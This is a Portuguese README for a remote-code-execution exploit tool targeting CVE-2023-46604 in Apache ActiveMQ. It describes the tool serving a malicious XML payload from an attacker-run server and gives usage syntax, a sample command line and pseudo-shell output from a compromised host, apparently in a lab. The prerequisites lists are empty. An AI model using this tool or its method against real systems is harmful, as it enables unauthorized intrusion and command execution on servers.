
Este script aproveita o CVE-2023046604 (Apache ActiveMQ) para gerar um pseudo shell. A vulnerabilidade permite execução remota de código devido à desserialização insegura dentro do protocolo OpenWire.
Este script aproveita o CVE-2023046604 (Apache ActiveMQ) para gerar um pseudo shell. A vulnerabilidade permite execução remota de código devido à desserialização insegura no protocolo OpenWire.
CVE-2023-46604 é uma vulnerabilidade de desserialização que existe no protocolo OpenWire do Apache ActiveMQ. Essa falha pode ser explorada por um atacante para executar código arbitrário no servidor onde o ActiveMQ está sendo executado. Um atacante pode criar um arquivo xml malicioso, cujos comandos serão executados pelo servidor remoto.
Este exploit automatiza e abstrai o processo de criação de documentos xml, fornece um servidor básico para entregar o arquivo e recebe informações de volta do servidor alvo via POST. Isso permite exploração contínua sem a necessidade de invocar um reverse shell ou implantar um binário.
Antes de executar o script de exploit, certifique-se de que você tem:
O script requer:
Opcional:
usage: exploit.py [-h] -i IP [-p PORT] -si SRVIP [-sp SRVPORT]
optional arguments:
-h, --help show this help message and exit
-i IP, --ip IP ActiveMQ Server IP or Hostname
-p PORT, --port PORT ActiveMQ Server Port, defaults to 61616
-si SRVIP, --srvip SRVIP
Serve IP
-sp SRVPORT, --srvport SRVPORT
Serve port, defaults to 8080
$python3 exploit.py -i 10.129.230.87 -p 61616 -si 10.10.14.59 -sp 8080
#################################################################################
# CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell #
# Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d #
#################################################################################
[*] Target: 10.129.230.87:61616
[*] Serving XML at: http://10.10.14.59:8080/poc.xml
[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.
[*] Type 'exit' to quit
#################################################################################
# Not yet connected, send a command to test connection to host. #
# Prompt will change to Apache ActiveMQ$ once at least one response is received #
# Please note this is a one-off connection check, re-run the script if you #
# want to re-check the connection. #
#################################################################################
[Target not responding!]$ whoami
activemq
Apache ActiveMQ$ ls -lah
total 164K
drwxr-xr-x 5 activemq activemq 4.0K Nov 7 12:50 .
drwxr-xr-x 11 activemq activemq 4.0K Nov 6 01:18 ..
-rwxr-xr-x 1 activemq activemq 21K Apr 20 2021 activemq
-rwxr-xr-x 1 activemq activemq 6.1K Apr 20 2021 activemq-diag
-rw-r--r-- 1 activemq activemq 17K Apr 20 2021 activemq.jar
-rw-r--r-- 1 activemq activemq 5.5K Apr 20 2021 env
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-32
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-64
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 macosx
-rw-r--r-- 1 activemq activemq 82K Apr 20 2021 wrapper.jar
Apache ActiveMQ$
Este exploit se baseia no POC original em Go por X1r0z e no POC em Python por evkl1d.
Este código é fornecido apenas para fins educacionais e de teste de segurança ética. Deve ser usado de forma responsável e apenas em ambientes onde a autorização explícita foi concedida. O uso não autorizado ou malicioso é estritamente proibido. Ao usar este código, você concorda em aderir a todas as leis, regulamentos e padrões éticos aplicáveis em sua jurisdição. Os criadores e contribuidores se isentam de qualquer responsabilidade por quaisquer danos ou consequências decorrentes do uso indevido ou não autorizado deste código.